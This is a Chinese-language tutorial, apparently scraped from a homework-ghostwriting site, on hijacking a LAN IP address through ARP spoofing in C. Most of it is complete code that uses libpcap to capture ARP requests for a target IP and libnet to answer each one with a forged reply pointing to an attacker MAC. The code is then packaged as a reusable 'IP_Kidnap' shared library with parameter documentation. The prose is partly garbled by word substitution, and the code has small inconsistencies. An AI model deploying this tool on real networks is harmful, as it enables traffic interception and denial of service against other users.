通过C语言实现基于ARP的局域网IP挟制
当前位置:以往代写 > C/C++ 教程 >通过C语言实现基于ARP的局域网IP挟制
2019-06-13

通过C语言实现基于ARP的局域网IP挟制

通过C语言实现基于ARP的局域网IP挟制

副标题#e#

阅读这篇文章之前,请确认已经熟悉ARP报文伪造的要领,可参考《ARP数据包伪造》。

通过C语言实现基于ARP的局域网IP劫持

通过C语言实现基于ARP的局域网IP劫持

请看下图,这是全篇文章的鸟瞰:

通过C语言实现基于ARP的局域网IP劫持

通过C语言实现基于ARP的局域网IP劫持


#p#副标题#e#

要想实现上图的事情流程,必需实现两个模块:

自由的伪造ARP报文

抓取并阐明所有流经网卡的数据包

通过C语言实现基于ARP的局域网IP劫持

从上图中可以看出,我们可以通过BPF可能DLPI层实现数据包的抓取阐明,而tcpdump的根本——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取阐明。

关于libpcap的基本利用,请参考这篇文章《libpcap利用》。

下面给出一个简朴的libpcap过滤抓包的措施:

1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5
6 unsigned char glTargetIP[4]={192,168,1,99};
7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
9 char * glNICStr="eth2";
10
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13 int * id = (int *)arg;
14 unsigned char * src_ip =glTargetIP;
15 unsigned char * src_mac=glRetargetMac;
16 unsigned char * dst_ip =packet+28;
17 unsigned char * dst_mac=packet+22;
18
19 printf("id: %d\n", ++(*id));
20 printf("Packet length: %d\n", pkthdr->len);
21 printf("Number of bytes: %d\n", pkthdr->caplen);
22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
23
24 int i;
25 for(i=0; i<pkthdr->len; ++i)
26 {
27 printf(" %02x", packet[i]);
28 if( (i + 1) % 16 == 0 )
29 {
30 printf("\n");
31 }
32 }
33
34 printf("\n\n");
35 }
36
37 int main ()
38 {
39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40 struct bpf_program filter;
41
42 /* get a device */
43 devStr = pcap_lookupdev(errBuf);
44
45 if(devStr)
46 {
47 printf("success: device: %s\n", devStr);
48 }
49 else
50 {
51 printf("error: %s\n", errBuf);
52 exit(1);
53 }
54
55 /* open a device, wait until a packet arrives */
56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57
58 if(!device)
59 {
60 printf("error: pcap_open_live(): %s\n", errBuf);
61 exit(1);
62 }
63 /* set filter */
64 pcap_compile( device,&filter,glBpfCmd,1,0 );
65 pcap_setfilter(device ,&filter );
66 /* wait loop forever */
67 int id = 0;
68 pcap_loop(device, -1, getPacket, (u_char*)&id);
69
70 pcap_close(device);
71
72 return 0;
73 }

#p#副标题#e#

gcc name.c -lpcap -o name

团结ARP报文伪造模块,下面给出完整实现代码:

#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
    
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
    
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
    
    
unsigned char glTargetIP[4]={192,168,1,99};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2";
    
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 {
         static char padPtr[18];
         libnet_t *net_t = NULL; 
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag; 
         unsigned int i=0;
     
         printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
         printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
             
         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 2;
         }
     
         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)dst_ip,//dest ip  addr
                         padPtr,//payload
                         18,//payload length
                         net_t,//libnet context
                         0//0 stands to build a new one
         );
             
         if(-1 == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return 3;
         }
     
         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                        padPtr,//payload
                        0,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );
     
         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return 4;
         }
             
         int res;
         i=0;
         for(;i<sendTimes;i++)
           if(-1 == (res = libnet_write(net_t)))
           {
                 printf("libnet_write error!\n");
                 libnet_destroy(net_t);
                 return 5;
           }
             
         libnet_destroy(net_t);
         return 0;
 FAIL:        
         libnet_destroy(net_t);
                 return 6;
 }
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
  int * id = (int *)arg;
  unsigned char * src_ip =glTargetIP;
  unsigned char * src_mac=glRetargetMac;
  unsigned char * dst_ip =packet+28;
  unsigned char * dst_mac=packet+22;
      
  ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    
  printf("id: %d\n", ++(*id));
  printf("Packet length: %d\n", pkthdr->len);
  printf("Number of bytes: %d\n", pkthdr->caplen);
  printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
      
  int i;
  for(i=0; i<pkthdr->len; ++i)
  {
    printf(" %02x", packet[i]);
    if( (i + 1) % 16 == 0 )
    {
      printf("\n");
    }
  }
      
  printf("\n\n");
}
    
int main ()
{
  char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  struct bpf_program filter;
    
  /* get a device */
  devStr = pcap_lookupdev(errBuf);
      
  if(devStr)
  {
    printf("success: device: %s\n", devStr);
  }
  else
  {
    printf("error: %s\n", errBuf);
    exit(1);
  }
      
  /* open a device, wait until a packet arrives */
  pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
      
  if(!device)
  {
    printf("error: pcap_open_live(): %s\n", errBuf);
    exit(1);
  }
  /* set filter */
  pcap_compile( device,&filter,glBpfCmd,1,0 );  
  pcap_setfilter(device ,&filter );
  /* wait loop forever */
  int id = 0;
  pcap_loop(device, -1, getPacket, (u_char*)&id);
      
  pcap_close(device);
    
  return 0;
}

#p#副标题#e#

这个东西的验证功效已经在文章鸟瞰图中给出。

#p#分页标题#e#

下面,我们将这段代码封装成为一个共享库,以供其他措施挪用。

//  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
    
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
    
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
    
    
static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr;
    
    
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
 {
         static char padPtr[18];
         libnet_t *net_t = NULL; 
         char err_buf[LIBNET_ERRBUF_SIZE];
         libnet_ptag_t p_tag; 
         unsigned int i=0;
     
         printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
         printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
             
         net_t  = libnet_init(LIBNET_LINK_ADV, dev, err_buf);     
         if(net_t == NULL)
         {
                 printf("libnet_init error\n");
                 return 2;
         }
     
         p_tag = libnet_build_arp(
                         ARPHRD_ETHER,//hardware type ethernet
                         ETHERTYPE_IP,//protocol type
                         MAC_ADDR_LEN,//mac length
                         IP_ADDR_LEN,//protocol length
                         arpOp,//op type
                         (u_int8_t *)src_mac,//source mac addr
                         (u_int8_t *)src_ip,//source ip addr
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)dst_ip,//dest ip  addr
                         padPtr,//payload
                         18,//payload length
                         net_t,//libnet context
                         0//0 stands to build a new one
         );
             
         if(-1 == p_tag)
         {
                 printf("libnet_build_arp error\n");
                 libnet_destroy(net_t);
                 return 3;
         }
     
         p_tag = libnet_build_ethernet(//create ethernet header
                         (u_int8_t *)dst_mac,//dest mac addr
                         (u_int8_t *)src_mac,//source mac addr
                         ETHERTYPE_ARP,//protocol type
                        padPtr,//payload
                        0,//payload length
                         net_t,//libnet context
                         0//0 to build a new one
         );
     
         if(-1 == p_tag)
         {
                 printf("libnet_build_ethernet error!\n");
                 libnet_destroy(net_t);
                 return 4;
         }
             
         int res;
         i=0;
         for(;i<sendTimes;i++)
           if(-1 == (res = libnet_write(net_t)))
           {
                 printf("libnet_write error!\n");
                 libnet_destroy(net_t);
                 return 5;
           }
             
         libnet_destroy(net_t);
         return 0;
 FAIL:        
         libnet_destroy(net_t);
                 return 6;
 }
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
  int * id = (int *)arg;
  unsigned char * src_ip =glTargetIP;
  unsigned char * src_mac=glRetargetMac;
  unsigned char * dst_ip =packet+28;
  unsigned char * dst_mac=packet+22;
      
  ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); 
    
  printf("id: %d\n", ++(*id));
  printf("Packet length: %d\n", pkthdr->len);
  printf("Number of bytes: %d\n", pkthdr->caplen);
  printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); 
      
  int i;
  for(i=0; i<pkthdr->len; ++i)
  {
    printf(" %02x", packet[i]);
    if( (i + 1) % 16 == 0 )
    {
      printf("\n");
    }
  }
      
  printf("\n\n");
}
    
/* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr  )
{
  char errBuf[PCAP_ERRBUF_SIZE], * devStr;
  struct bpf_program filter;
  glTargetIP=TargetIP;
  glBpfCmd=BpfCmd;
  glRetargetMac=RetargetMac;
  glSendNICStr=sendNICStr;
  glListenNICStr=listenNICStr;
    
  /* get a device */
  devStr = pcap_lookupdev(errBuf);
      
  if(devStr)
  {
    printf("success: device: %s\n", devStr);
  }
  else
  {
    printf("error: %s\n", errBuf);
    exit(1);
  }
      
  /* open a device, wait until a packet arrives */
  pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
      
  if(!device)
  {
    printf("error: pcap_open_live(): %s\n", errBuf);
    exit(1);
  }
  /* set filter */
  pcap_compile( device,&filter,glBpfCmd,1,0 );  
  pcap_setfilter(device ,&filter );
  /* wait loop forever */
  int id = 0;
  pcap_loop(device, -1, getPacket, (u_char*)&id);
      
  pcap_close(device);
    
  return 0;
}

#p#副标题#e#

编译后的功效:

#p#分页标题#e#

通过C语言实现基于ARP的局域网IP劫持  函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
    unsigned  char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
  dev : pointer to nic name, "eth0" for example.
  src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
  dst_mac : similar as src_mac
  src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
  dst_ip : similar as src_ip
  arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
  sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
          unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr  )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/

    关键字:

在线提交作业